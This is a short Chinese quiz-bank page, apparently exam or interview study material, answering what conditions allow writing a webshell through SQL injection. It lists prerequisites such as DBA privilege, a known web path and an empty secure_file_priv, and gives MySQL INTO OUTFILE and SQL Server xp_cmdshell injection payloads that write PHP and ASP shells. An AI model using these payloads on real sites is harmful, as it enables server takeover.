SQL注入写shell的条件，用法
SQL注入写shell的条件，用法
发布时间：2025-03-06 14:56:53
请在 下方输入 要搜索的题目：
推荐参考答案 (
由 快搜搜题库 官方老师解答 )
答案：条件：当前用户具有dba权限找到网站绝对路径网站有可写目录Mysql的配置secure_file_priv为空用法：Mysql:Id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php" %23Sqlserver:Id=1';EXEC master..xp_cmdshell 'echo "shell内容" 绝对路径\shell.asp' --
